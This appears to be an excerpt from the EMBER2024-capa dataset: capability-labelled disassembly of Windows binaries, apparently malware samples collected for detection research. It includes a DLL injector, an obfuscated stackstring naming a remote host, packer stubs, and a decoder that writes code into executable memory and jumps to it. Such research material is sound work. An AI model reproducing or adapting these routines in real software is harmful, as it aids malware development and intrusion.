joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47f4a8
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
mov dword [ebp - 4], ecx
mov ebx, edx
mov eax, dword [ebp - 4]
call fcn.0040500c
xor eax, eax
push ebp
push 0x47f62d
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
je 0x47f612
call fcn.0040ad30
add esp, 0xfffffff8
fstp qword [esp]
wait
call fcn.0046a038
lea ecx, [ebp - 0xc]
xor edx, edx
call fcn.0046e20c
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, 0x47f644
call fcn.00404ea4
mov ecx, 0x47f660
mov edx, 0x47f68c
mov eax, ebx
call fcn.004698ac
mov ecx, 0x47f69c
mov edx, 0x47f6b0
mov eax, ebx
call fcn.004698ac
mov ecx, 0x47f6c8
mov edx, 0x47f6dc
mov eax, ebx
call fcn.004698ac
cmp byte [ebp + 8], 0
je 0x47f54a
mov ecx, 0x47f6f0
mov edx, 0x47f718
mov eax, ebx
call fcn.004698ac
mov ecx, 0x47f730
mov edx, 0x47f73c
mov eax, ebx
call fcn.004698ac
mov ecx, 0x47f748
mov edx, 0x47f770
mov eax, ebx
call fcn.004698ac
mov ecx, dword [ebp - 4]
mov edx, 0x47f780
mov eax, ebx
call fcn.004698ac
mov ecx, 0x47f794
mov edx, 0x47f7bc
mov eax, ebx
call fcn.004698ac
mov ecx, 0x47f7cc
mov edx, 0x47f7dc
mov eax, ebx
call fcn.004698ac
mov ecx, 0x47f7f4
mov edx, 0x47f804
mov eax, ebx
call fcn.004698ac
mov ecx, 0x47f81c
mov edx, 0x47f830
mov eax, ebx
call fcn.004698ac
mov ecx, 0x47f848
mov edx, 0x47f8d8
mov eax, ebx
call fcn.004698ac
mov ecx, dword [ebp - 8]
mov edx, 0x47f8ec
mov eax, ebx
call fcn.004698ac
mov ecx, 0x47f904
mov edx, 0x47f950
mov eax, ebx
call fcn.004698ac
mov ecx, 0x47f964
mov edx, 0x47f970
mov eax, ebx
call fcn.004698ac
mov ecx, 0x47f98c
mov edx, 0x47f9a0
mov eax, ebx
call fcn.004698ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47f634
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404bb0
ret
Function at 0x100018b8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
jne 0x100018c5
xor eax, eax
pop ebp
ret
push dword [ebp + 0x2c]
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateProcessA]
pop ebp
ret

Function at 0x10001bc3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78c]
sub esp, 0x80c
mov eax, dword [0x1001e08c]
xor eax, ebp
mov dword [ebp + 0x788], eax
push ebx
mov ebx, dword [ebp + 0x798]
push esi
mov esi, dword [ebp + 0x79c]
push edi
mov edi, dword [ebp + 0x794]
push 0x3ff
lea eax, [ebp + 0x389]
push 0
push eax
mov byte [ebp + 0x388], 0
call fcn.10004d20
push edi
push str.SOFTWAREClassesCLSID_sInprocServer32
mov edi, 0x400
lea eax, [ebp + 0x388]
push edi
push eax
call fcn.10012d0d
add esp, 0x1c
lea eax, [ebp - 0x7c]
push eax
push 0x20019
neg esi
push 0
lea eax, [ebp + 0x388]
sbb esi, esi
push eax
add esi, reloc.OLEAUT32.dll_SysReAllocString
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10001c5b
xor ecx, ecx
cmp eax, 2
sete cl
mov eax, ecx
jmp 0x10001c9d
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push 0x10019282
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [ebp - 0x7c]
test eax, eax
je 0x10001c85
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x10001c9d
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x78]
push eax
push ebx
call fcn.10012d0d
neg eax
pop ecx
sbb eax, eax
pop ecx
neg eax
mov ecx, dword [ebp + 0x788]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004d10
add ebp, 0x78c
leave
ret

Function at 0x10001e92
Capabilities:
Query environment variable

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
je 0x10001eb3
push dword [esp + 0xc]
push dword [esp + 0xc]
push str.USER_JPI_PROFILE
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x10001eb3
inc esi
mov eax, esi
pop esi
ret
Function at 0x100028fc
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x1001e08c]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0xc
mov eax, 0x100183ad
call fcn.10005580
mov esi, dword [ebp + 0x214]
xor ebx, ebx
lea eax, [ebp]
push eax
push ebx
push ebx
push 0x1a
push ebx
mov byte [esi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
cmp edi, ebx
jge 0x10002956
push edi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__szPath_
call fcn.10003e12
pop ecx
pop ecx
push ebx
push edi
call fcn.10012d0d
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.1000373b
mov ecx, dword [eax]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x10002973
call fcn.100035cd
jmp 0x10002975
xor eax, eax
push 0x104
push eax
push dword [ebp + 0x218]
push esi
call fcn.10012d0d
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp ecx, ebx
je 0x100029c0
call fcn.1000390e
jmp 0x100029c0
xor eax, eax
cmp edi, ebx
setge al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.10004d10
add ebp, 0x20c
leave
ret

Function at 0x100029ea
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x1001e08c]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0xc
mov eax, 0x100183dd
call fcn.10005580
mov esi, dword [ebp + 0x214]
xor ebx, ebx
lea eax, [ebp]
push eax
push ebx
push ebx
push 0x23
push ebx
mov byte [esi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
cmp edi, ebx
jge 0x10002a44
push edi
push str.Error:_08x_in_::SHGetFolderPathW_0__CSIDL_COMMON_APPDATA__NULL__SHGFP_TYPE_CURRENT__szPath_
call fcn.10003e12
pop ecx
pop ecx
push ebx
push edi
call fcn.10012d0d
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.1000373b
mov ecx, dword [eax]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x10002a61
call fcn.100035cd
jmp 0x10002a63
xor eax, eax
push 0x104
push eax
push dword [ebp + 0x218]
push esi
call fcn.10012d0d
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp ecx, ebx
je 0x10002aae
call fcn.1000390e
jmp 0x10002aae
xor eax, eax
cmp edi, ebx
setge al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.10004d10
add ebp, 0x20c
leave
ret
Function at 0x1000319d
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x1001843d
call fcn.10005580
mov esi, dword [ebp + 8]
xor eax, eax
xor edi, edi
xor ebx, ebx
mov word [esi], ax
mov dword [ebp - 4], edi
call fcn.10012d0d
test eax, eax
je 0x100031c8
call fcn.1000318e
mov ebx, eax
push 0x104
push esi
push ebx
push edi
push 0x1001a0a8
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
cmp esi, edi
jge 0x10003223
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.10003e12
pop ecx
pop ecx
push edi
push esi
call fcn.10012d0d
mov ecx, dword [ebp - 0x18]
mov esi, dword [ecx + 4]
mov dword [ebp - 0x14], esi
call fcn.10003873
push eax
push esi
push 0x10019474
call fcn.10003e12
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x1000321c
ret
cmp ebx, edi
je 0x1000322e
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x100032df
push dword [ebp + 8]
mov dword [ebp - 4], 2
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x1000328b
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x100031e7
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x100032df
push 1
push 0x1a
push dword [ebp + 8]
mov dword [ebp - 4], 4
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x100032df
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x100031e7
mov eax, esi
call fcn.100055b6
ret

Function at 0x10003623
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x1001e08c]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.10012d0d
mov ebx, eax
cmp ebx, esi
je 0x10003696
lea ecx, [ebp - 0x74]
call fcn.10001115
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004d10
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x100036ae
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.10003623
cmp eax, esi
jne 0x100036e0
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], 0x100
call ebx
test eax, eax
je 0x1000369e
lea ecx, [ebp - 0x74]
call fcn.10001115
push dword [ebp - 0x78]
mov ecx, edi
call fcn.100010a6
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.10001115
mov eax, esi
jmp 0x1000367c

Function at 0x10004d10
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001e08c]
jne 0x10004d1a
repz ret
jmp fcn.1000a8a3
Function at 0x10012d0d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x10012d1c
pop dword [ebp - 0x38]
mov eax, 0x51ec4766
add eax, 0xbe14e5b6
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xb67926c2
sub dword [ebp - 0x48], 0x6826e177
mov dword [ebp - 0x44], 0xc294d129
sub dword [ebp - 0x44], 0x906184e4
mov dword [ebp - 0x40], 0x643def61
sub dword [ebp - 0x40], 0x17f1ab33
mov dword [ebp - 0x3c], 0xe10e18f
sub dword [ebp - 0x3c], 0xe10e18f
lea eax, [ebp - 0x48]
push eax
mov eax, 0x8a63e398
sub eax, 0x7a625380
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x86364004
sub dword [ebp - 0x48], 0x11c3d6ae
mov dword [ebp - 0x44], 0xdc962210
sub dword [ebp - 0x44], 0x9b29c09b
mov dword [ebp - 0x40], 0xc98ac40
sub dword [ebp - 0x40], 0xa9293fd4
mov dword [ebp - 0x3c], 0x5a9ff5aa
sub dword [ebp - 0x3c], 0x5a9ff5aa
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xc1d5a559
add eax, 0x4e2beabb
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3cabe
push 0
call eax
mov ecx, 0x4a30480c
add ecx, 0xb5d0042e
xor edi, edi
add edi, eax
mov esi, 0xe602836
sub esi, 0xfe5d6a36
add esi, dword [ebp - 0x38]
mov ebx, 0xe968b19
mov edx, dword [esi]
add edx, ebx
xor dword [ebp - 0x2c], edi
mov dword [edi], edx
add edi, 4
add esi, 0x202b8e11
add esi, 0xdfd471f3
loop 0x10012e3a
add eax, 0xa2f5db1a
add eax, 0x5d0b48a1
mov ebx, eax
add eax, 0x259ac29c
sub eax, 0x259ac297
mov ecx, 0x12263aea
sub ecx, 0x2263aea
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x402010
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41e138
mov edx, dword [esp + 0xc]
push eax
mov eax, dword [esp + 0x14]
mov dword fs:[0], esp
push ebx
push esi
mov esi, ecx
mov cl, byte [eax]
xor ebx, ebx
mov byte [esi], cl
mov al, byte [edx]
push edi
mov byte [esi + 1], al
mov byte [esi + 8], bl
mov eax, dword [0x4277ec]
mov dword [esp + 0x14], ebx
cmp eax, ebx
jne 0x402071
push 0x34
call fcn.00419780
mov dword [eax + 4], ebx
mov dword [eax + 0x30], 1
mov dword [0x4277ec], eax
mov dword [eax], ebx
mov ecx, dword [0x4277ec]
add esp, 4
mov dword [ecx + 8], ebx
mov edi, dword [0x4277f0]
push 0x34
inc edi
mov dword [0x4277f0], edi
mov edi, dword [0x4277ec]
call fcn.00419780
mov ecx, dword [esp + 0x10]
mov dword [eax + 4], edi
mov dword [eax + 0x30], ebx
mov dword [esi + 4], eax
mov dword [esi + 0xc], ebx
mov dword [eax], eax
mov eax, dword [esi + 4]
add esp, 4
mov dword [eax + 8], eax
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0xc
ret 8
Function at 0x409409
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x41e7cf
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], vtable.H.1.0
mov al, byte [esp + 0x28]
xor ebx, ebx
mov dword [esp + 0x1c], ebx
mov byte [esi + 0xc], al
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
lea edi, [esi + 0x1c]
mov dword [esp + 0x10], edi
lea ecx, [edi + 8]
mov byte [edi + 4], bl
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], 0xffffffff
mov dword [ecx + 0xc], ebx
mov byte [ecx + 0x10], bl
mov edx, dword [esp + 0x28]
mov byte [esp + 0x1c], 2
push edx
mov dword [edi], vtable.ter.0
call fcn.00407480
mov byte [edi + 4], al
lea edi, [esi + 0x3c]
mov dword [esp + 0x28], edi
lea ecx, [edi + 8]
mov byte [edi + 4], bl
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], 0xffffffff
mov dword [ecx + 0xc], ebx
mov byte [ecx + 0x10], bl
mov eax, dword [esp + 0x2c]
mov byte [esp + 0x1c], 4
push eax
mov dword [edi], vtable.ter.0
call fcn.00407480
mov byte [edi + 4], al
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x24]
mov dword [esi + 0x60], ecx
push edx
mov ecx, esi
mov byte [esp + 0x20], 5
mov dword [esi], vtable.king_RxIGLX_CodeGenerationResult.0
call fcn.004098b0
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x14
ret 0x10
Function at 0x403f94
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x40
call fcn.004019e0
call sub.KERNEL32.dll_FreeConsole
cmp dword [ebp + 8], 3
jne 0x403fdb
mov eax, dword [ebp + 0xc]
add eax, 8
mov eax, dword [eax]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [esp + 0x3c], eax
mov eax, dword [ebp + 0xc]
add eax, 4
mov eax, dword [eax]
mov edx, dword [esp + 0x3c]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00403be0
jmp 0x40402e
mov dword [esp + 0x1e], 0x7263696d
mov dword [esp + 0x22], 0x66657365
mov dword [esp + 0x26], 0x6e697774
mov dword [esp + 0x2a], 0x7265732e
mov dword [esp + 0x2e], 0x72696576
mov dword [esp + 0x32], 0x6f632e63
mov word [esp + 0x36], 0x6d
mov dword [esp + 0x38], 0xbd6
mov eax, dword [esp + 0x38]
mov dword [esp + 4], eax
lea eax, [esp + 0x1e]
mov dword [esp], eax
call fcn.00403be0
mov eax, 0
leave
ret
Function at 0x401270
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 3
je 0x4012a2
push str.Wrong_arguments_n
call fcn.00401010
push str.Program_must_be_started_with_the_following_arguments:_PID_DLL_PATH_n
call fcn.00401010
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 0xc
mov eax, 1
pop ebp
ret
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push 0xa
push 0
push dword [esi + 4]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov ebx, dword [esi + 8]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x4012e1
push str.No_valid_conversion_from_strtol_n
call fcn.00401010
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 8
lea eax, [edi + 1]
pop edi
pop esi
pop ebx
pop ebp
ret
cmp edi, 0x7fffffff
je 0x401316
cmp edi, 0x80000000
je 0x401316
mov edx, ebx
mov ecx, edi
call fcn.00401040
mov esi, eax
test esi, esi
jne 0x40130f
push edi
push ebx
push str._s_injected_successfully_on_process__u_n
call fcn.00401010
add esp, 0xc
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
push dword [eax]
push str.strtol_value_is_out_of_range._Errno:__x_n
call fcn.00401010
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 0xc
mov eax, 1
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x401b3f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401b7e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401b7e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401b7e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401b7e
cmp dword [ecx + 0x74], 0xe
jbe 0x401b7e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x7941c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x67b015
lea edi, [esi - 0x27a015]
mov dword [edi + 0x325ca0], 0xa47f9eec
push edi
or ebp, 0xffffffff
jmp 0x7941ea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x7941f1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7941e0
mov eax, 1
add ebx, ebx
jne 0x794203
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x794214
jne 0x794233
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x794233
dec eax
add ebx, ebx
jne 0x794220
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x7941f8
add ebx, ebx
jne 0x79422f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x794285
xor ecx, ecx
sub eax, 3
jb 0x79424b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x7942ba
sar eax, 1
mov ebp, eax
jmp 0x794256
add ebx, ebx
jne 0x794256
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x794224
inc ecx
add ebx, ebx
jne 0x794264
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x794224
add ebx, ebx
jne 0x794271
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x794266
jne 0x794282
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x794266
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x7942a4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x794296
jmp 0x7941e6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x7942a4
add edi, ecx
jmp 0x7941e6
pop esi
mov edi, esi
mov ecx, 0xfaea
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x7942c2
cmp byte [edi], 0x3e
jne 0x7942c2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x7942c7
lea edi, [esi + 0x390000]
mov eax, dword [edi]
or eax, eax
je 0x794336
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3bb698]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3bb788]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x7942f4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3bb78c]
or eax, eax
je 0x794330
mov dword [ebx], eax
add ebx, 4
jmp 0x794311
call dword [esi + 0x3bb79c]
mov ebp, dword [esi + 0x3bb790]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0x394391]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x794382
sub esp, 0xffffff80
jmp 0x401284
Function at 0x555b5d
Capabilities:
Encode data using xor

Disassembly:
push esi
xor eax, eax
push edi
mov edi, dword [esp + 0x10]
shr edi, 2
mov ecx, edi
dec edi
test ecx, ecx
je 0x555b8b
mov edx, dword [esp + 0xc]
mov esi, dword [esp + 0x14]
mov ecx, esi
mov esi, dword [edx]
add eax, esi
xor ecx, esi
mov dword [edx], ecx
add edx, 4
mov ecx, edi
dec edi
test ecx, ecx
jne 0x555b77
pop edi
pop esi
ret

Function at 0x555c23
Capabilities:
Inspect section memory permissions

Disassembly:
mov ecx, dword [esp + 8]
mov eax, dword [esp + 4]
imul ecx, ecx, 0x28
mov ecx, dword [ecx + eax + 0x24]
test ecx, 0x20000000
je 0x555c5c
test ecx, 0x40000000
je 0x555c55
mov eax, ecx
and eax, 0x80000000
cmp eax, 1
sbb eax, eax
and al, 0xe0
add eax, 0x40
jmp 0x555c6d
mov eax, 0x10
jmp 0x555c6d
mov eax, ecx
and eax, 0x80000000
cmp eax, 1
sbb eax, eax
and al, 0xfe
add eax, 4
test ecx, 0x4000000
je 0x555c7a
add eax, 0x200
ret
Function at 0x557738
Capabilities:
Get common file path

Disassembly:
push ebp
mov edx, dword [esp + 0xc]
mov ebp, esp
sub esp, 0x104
test edx, edx
push esi
push edi
je 0x557794
mov edi, dword [ebp + 8]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
shr ecx, 2
mov esi, edi
lea edi, [ebp - 0x104]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp byte [ebp + edx - 0x105], 0x5c
je 0x55779b
mov esi, 0x552534
lea edi, [ebp - 0x104]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
movsw word es:[edi], word [esi]
jmp 0x55779b
mov byte [ebp - 0x104], 0
push dword [ebp + 8]
push 0
push 0x552538
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
test eax, eax
mov eax, 0
je 0x5577cd
push 0x10
push 0x55253c
push dword [ebp + 8]
call fcn.00555aa9
add esp, 0xc
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x5577d3
Capabilities:
Delete file
Get common file path
Query environment variable

Disassembly:
push ebp
mov eax, 0x4220
mov ebp, esp
call fcn.00557e30
push esi
push edi
push 0
call fcn.005576c3
add esp, 4
mov dword [0x552524], eax
cmp eax, 0xffffffff
jne 0x557911
mov edi, 0x104
lea eax, [ebp - 0x11c]
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push eax
lea ecx, [ebp - 0x11c]
push ecx
call fcn.00557738
add esp, 8
mov esi, eax
test esi, esi
jne 0x557899
push edi
lea eax, [ebp - 0x220]
push eax
lea edi, [ebp - 0x220]
push str.PATH
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
mov al, byte [edi]
test al, al
je 0x557886
xor ecx, ecx
inc edi
mov byte [ebp - 0x11c], al
cmp al, cl
je 0x557868
cmp byte [ebp + ecx - 0x11c], 0x3b
je 0x557868
inc ecx
mov al, byte [edi]
inc edi
mov byte [ebp + ecx - 0x11c], al
test al, al
jne 0x55784f
push ecx
lea eax, [ebp - 0x11c]
mov byte [ebp + ecx - 0x11c], 0
push eax
call fcn.00557738
add esp, 8
mov esi, eax
test esi, esi
je 0x55783c
test esi, esi
jne 0x557899
push 0xc
push 0x552548
call fcn.005562f6
add esp, 8
push 0x1050
lea eax, [ebp - 0x4220]
push eax
push 0x5514d4
call fcn.00555a89
add esp, 0xc
test eax, eax
jne 0x5578c2
push 2
push 0
call fcn.005562f6
add esp, 8
lea edi, [ebp - 0x41e0]
xor eax, eax
mov ecx, 0x10
rep stosd dword es:[edi], eax
push esi
mov eax, dword [0x5514d0]
push eax
lea ecx, [ebp - 0x4220]
push ecx
call fcn.00555afc
add esp, 0xc
push esi
call fcn.00555a9c
add esp, 4
lea ecx, [ebp - 0x11c]
push ecx
call fcn.005576c3
add esp, 4
mov dword [0x552524], eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
cmp dword [0x552524], 0xffffffff
jne 0x557926
push 0xc
push 0x55254c
jmp 0x5579d3
xor esi, esi
lea eax, [ebp - 8]
push esi
lea ecx, [ebp - 0x18]
push eax
push 0x10
push ecx
push esi
push esi
push 1
push dword [0x552524]
call dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
test eax, eax
je 0x5579cc
cmp dword [ebp - 0x18], 0x328
jne 0x5579c3
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 8]
push ecx
mov dword [ebp - 0x10], edx
push 4
lea edx, [ebp - 4]
push edx
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push 2
push dword [0x552524]
call dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
test eax, eax
je 0x557999
mov eax, dword [ebp - 4]
mov dword [0x552528], eax
jmp 0x5579db
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x76
je 0x5579b2
cmp eax, 0x77
je 0x5579b2
push 0xc
push 0x552578
jmp 0x5579d3
push 0
call dword [sym.imp.KERNEL32.DLL_SetLastError]
push 1
push str.___please_restart_your_system_and_retry
jmp 0x5579d3
push 0xc
push 0x55257c
jmp 0x5579d3
push 0xc
push 0x552580
call fcn.005562f6
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
ret